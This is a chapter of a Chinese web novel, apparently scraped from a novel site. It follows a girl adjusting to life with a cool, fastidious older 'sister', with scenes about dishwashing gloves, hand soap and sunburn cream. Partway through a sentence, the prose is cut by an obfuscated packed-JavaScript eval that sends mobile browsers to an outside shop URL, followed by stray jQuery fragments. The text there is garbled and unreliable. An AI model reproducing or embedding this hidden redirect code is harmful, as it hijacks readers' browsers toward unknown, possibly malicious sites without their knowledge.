文趣网 > 都市小说 > 家属 > 6. 06
    连婳坐回餐桌,又把时静夜的话想了很久。

    虽然,她害怕时静夜,但她也认可改正比道歉有用。

    往后的生活,与其战战兢兢,时刻担心哪里犯错,不如提前想清楚,哪些行为在这个城市里,这个家里,代表不干净。

    对,就像从前在学校里一样,她不该逃避任何一个难题。要迎难而上,乘风破浪。

    连婳想通后,眼中燃起熊熊斗志。

    她迅速吃完桌上的早餐,按照先前时静夜的步骤,仔细用湿巾、餐巾将桌面大致擦一遍。

    然后端着空空的餐盘和玻璃杯走进厨房,先把它们放进水槽,眼睛看向悬挂在水槽附近的这一副黄色胶皮手套。

    伸手。

    忽然听见身后远处传来了钥匙开门的动静。

    连婳暂时垂下胳膊,转身,规矩地站定,露出笑容,以为是万玫阿姨回来了。

    一身清爽的时静夜挎着包,换好鞋后,脚步匆匆往楼梯走,没分给小孩半个眼神。

    于是连婳脸上的笑容也自然而然地消散了,垂下眼眸。

    拿好U盘。

    时静夜快步下楼,这次经过时,她视线顺道瞥向餐桌,再望了一眼厨房。

    看见瘦小的连婳孤零零站在厨房里,脑袋低着。

    时静夜只看了一瞬就收回目光,并未停步,径直走到玄关,准备出门。

    “安安姐姐——”

    小孩的声音响起来。

    时静夜回头,却没有看见小小个的身影。

    她心口轻微起伏。

    想了想,还是转身走回去,到厨房门边,眼神静静询问:什么事?

    时静夜一米七的个子,连婳一米五不到。

    即便姐姐只穿着平底拖鞋,巨大的身高优势,还是给妹妹施以无形的压迫感。

    是时静夜太高了,所以没表情的样子才看着比较吓人。连婳心想。

    她下意识咽了咽喉咙:“我准备洗碗,请问——”她转手指向那副胶皮手套,“我可以使用它吗?”

    好在时静夜突然回来了,她刚刚差点又要忽略这件事。

    如果时静夜不喜欢触碰别人碰过的东西,或许连这副手套也不可以。

    洗碗?

    时静夜皱了皱眉,视线顺着连婳手指的方向望去。

    哦。

    “不可以。”

    她简单回答,“你不用洗。”

    回答完该回答的,她转身要走。

    “可是!”

    连婳连忙追喊,“现在还是夏天,这些盘子放一天,会不干净。”

    时静夜停住脚步,背影对着连婳,声音无波无澜:“你一定能洗干净吗?”

    冰冷的语气,在旁人耳朵里,大概是挑衅。

    但听多闲言碎语的小孩没有纠结于时静夜的态度,只坚定点点头:“嗯,一定!”

    “哦。”时静夜淡淡地应了一声,“那就用吧。”她迈步,又要走。

    “那——”连婳再一次像粘牙的糖果,紧巴巴跟上,“用完之后,需要我怎么清理它吗?”

    时静夜叹口气,表情看上去终于有些不耐烦。

    她转头,眼尾微微下压,凝视着连婳的眼睛,吐出两个字:“扔掉。”

    连婳抿唇。

    直面时静夜的目光,眉心抽了抽,还是有一点怕。

    “扔掉太浪费了,这样不好。”她鼓起勇气反对,“反正以后我还要洗碗,能不能把它留着,我来使用?”

    时静夜没答话。

    以前她很少遇到这种问题,尽管爱干净,却也没到一个洗碗手套还要和时万玫分着用的程度。

    何况,她念大学后基本没回来过。

    “我知道你不喜欢再用我碰过的东西,那这副手套就留给我用吧。”连婳锲而不舍,坚持与时静夜对视着,“如果每次洗碗都要扔掉一个,真的太浪费了。”

    时静夜缓缓眨了下眼,在连婳说话的时候,突然注意到小孩脸上一块明显的红痕。

    看上去像晒伤,和她们某年暑假出去做采访晒伤的脸差不多。

    又想起时万玫之前跟她说,小豆角自尊心高,问了很久,不愿意去福利院也不愿意来市里,邻居送些吃的喝的,放学还要帮人家农忙,当还钱。

    “安安姐姐,真的不可以留——”

    “随便你吧。”

    时静夜打断连婳的话,转身离开了。

    连婳洗碗的时候非常开心,在泡沫翻飞中,不着调哼着在万玫阿姨车上听见的歌曲。

    “一天一天的等待~心情更加澎湃~”

    车载电台又在放奥运歌曲,前方路口黄灯闪烁,时静夜踩下刹车。

    她目光笔直望着前方,无视车前正在缓慢通过的人群,脑海中残留着黄灯的影像,联想到厨房里那一副黄色的胶皮手套。

    中号。

    她戴着都有些宽松,小孩的手岂不是更容易掉了。

    如果掉在了水槽以外,比如地面瓷砖上,会不会把泡沫也弄得一地都是?

    越想画面越具体,时静夜眉心悄然拢紧,眼里明显不舒服起来。

    好在信号及时跳转绿灯,车子继续前进,拥挤的路况渐渐分散了她的注意力。

    阳光照在车玻璃上,一圈圈发亮。

    厨房里的碗盘和玻璃杯也被擦得锃光瓦亮,闪金光。

    连婳凑近,像在看显微镜一样认真。她的脸倒映在玻璃杯上,一会儿大,一会儿小。

    嗯,洗到这种程度,姐姐应该会满意了。

    连婳非常认可自己的劳动成果。

    随后,她再学着时静夜那样,大致甩掉手套上的水珠,擦干净水槽和手套,再分别取下扎在手套口的头绳。彩色的塑胶头绳,一黄一蓝,刚一解开,宽大的手套就从连婳手上脱落。

    她慌忙接住,反复看了两遍,将其挂回原位。

    接下来应该洗手了。

    连婳记得洗手要去另一个地方。

    她像即将做手术的医生一样,两只手端正地抬在身前,稳稳走出厨房,经过餐厅,去一楼的卫生间。

    “……”

    卫生间里,连婳微微张开双唇。

    玻璃镜前面,左右各摆着一瓶像是洗手液的东西。

    可它们的包装上,全都是英文。

    左边的瓶子是绿白色,右边的瓶子是粉白色。

    “De……to……”连婳表情皱巴巴地念完这一个,又看另一个,“Ka……o……”

    嗯……

    她直起身,因为小升初的考试不看英文成绩,她当时为了多去照顾妈妈,彻底放弃了英文课,这些字母在她眼里就是天书。

    不如……用重量判断?

    连婳记得万玫阿姨说姐姐才从别的地方回来,又不常回家住,那,应该很少使用家里的洗手液吧?

    玻璃镜中的瘦小身影,咬着下唇左右打量片刻,去取来一截卫生纸,分别拎了拎瓶身。

    她眼前一亮!

    果然如她猜想的一样,绿白色会重一些,绿白色也更符合她心中时静夜的印象。

    就像攻破了一道数学难题。

    连婳大大地松了一口气,开心伸手,挤了一泵粉白色的洗手液。

    时万玫回家时,连婳正乖乖坐在客厅的沙发中央看书。

    她一愣,赶紧加快关门的动作。

    昨晚为了生意上的事临时外出,半夜才回来,早上接到电话又忙着出去了。

    一来二去,完全忘记自己已经把小豆角接来了家里!

    “连婳——”时万玫换拖鞋时高喊了一声,“对不起啊你吃东西了吗——”

    连婳看得太专注,这时候才回神,立刻放下书,小跑到时万玫跟前:“万玫阿姨。”

    “对不起啊对不起啊,你肯定饿了吧!”时万玫把包直接留在了柜子上,边扎头发边往厨房走,“哎呀都怪我这记性,等着,马上给你煮碗面!”

    “我已经吃过早餐了。”连婳跟在她身后。

    时万玫

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906724|213039||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    停住动作,转头:“嗯?”

    “我和安安姐姐一块儿吃的。”连婳又说,“面包,牛奶。”

    “安安?”时万玫像是还没反应过来,半天才失笑,“噢……”

    连婳不知道时万玫在笑什么,只是疑惑地看着。

    时万玫慢慢转身,撑住一旁座椅的靠背,指尖点了几下,解释:“我没想起她。”

    嗯?

    连婳拧了拧眉,更纳闷了。

    时万玫抚了抚连婳的头发,笑着说:“安安以前都赶时间,不在家里吃早餐。”

    连婳眼睛睁大了些,想起餐桌上热气腾腾的牛奶,还有精致的夹着煎蛋蔬菜的三角面包。

    几秒后,她笑起来:“喔,安安姐姐特地给我做了很多好吃的,而且都特别特别好吃。”

    “是吗?”时万玫惊喜道,“她这么厉害了?”

    “对,一杯温热的牛奶,有点甜味,一块这样的面包,里面生菜被切成这样,煎蛋有一点点溏心……”连婳顿了顿,“妈妈也喜欢这样煎蛋。”

    听见最后一句,时万玫脸上的笑容变淡了一点,瘪了瘪嘴。

    她蹲下,伸手把朋友的女儿搂进怀里。

    连婳瞬间意识到自己被可怜了,身体僵硬,有些不自在。

    这和面对时静夜的不自在完全不同,比那种不自在更加侵入她的骨髓,让她心疼又想哭,可她并不愿意哭。

    她忍着鼻酸,忽然发现一个和时静夜单独待着的好处。

    安安姐姐不怎么看她,自然也不会可怜她。

    反而让她自在了。

    也许是因为早晨的歉疚,这天,时万玫没有再出门,全程围绕着连婳嘘寒问暖。中途她还带连婳去了一趟商场,买零食,买衣服,买玩具……

    连婳拒绝了玩具。

    只拿了一个拇指大的塑料芒果挂件。

    时万玫看着,心又化了,觉得连婳是想念柴庄。

    回家路上,连婳破天荒主动询问时万玫,安安姐姐今天还会不会回来。

    时万玫摇摇头:“应该不回了,中午那会儿给她打过电话,今天工作很忙,我们过两天再一起吃饭吧。”

    “喔……”连婳点头,“好。”

    晚餐,时万玫要亲自做,打开客厅电视,让连婳看动画片。

    连婳其实对动画片也不感兴趣,手上捏着还被透明塑料袋包装着的塑料芒果,发呆。

    门口突然传来钥匙的响动。

    连婳比时万玫更先听见,迅速起身,一溜烟跑过去。

    时静夜拉开门,看见直愣愣站在眼前的连婳,稍有不解,但什么也没问。

    她在连婳示好的笑容中,平静关门,平静换鞋,平静绕过小孩,径直朝卫生间走去。

    连婳想起卫生间二选一的世纪难题,这个时候就能得到答案了。

    她抱着自己必然正确的想法,站卫生间门外,只偷偷伸进半个脑袋。

    啊……

    怎、怎么会是粉色……

    “你一直跟着我干什么。”时静夜声音冷不丁响起。

    连婳心一紧,忙退出卫生间。

    她兀自僵在门外,像犯了弥天大错,满脸通红。

    完了……我猜错了……我用了安安姐姐的洗手液……

    时静夜洗完手,走出门,见连婳跟个木桩子一样定在门边,蹙了蹙眉。

    她视线落向连婳脸上的晒伤。

    片刻后,她的眉头渐渐放平,看了一眼厨房的方向。

    时万玫还在忙碌,没有注意到她回来。

    于是,时静夜低头从挎包里取出一个红白色的盒子,拎着一端,用另一端碰了一下连婳的肩膀。

    连婳吓一跳,整个人抖了一抖,傻呆呆地抬头。

    怎么一会儿胆大到粘着人提问题,一会儿胆小到碰一下就变成地鼠?

    时静夜没忍住,眼尾轻扬,笑了一下。

    随即,正色,平淡出声。

    “拿去,每晚睡前擦脸上。”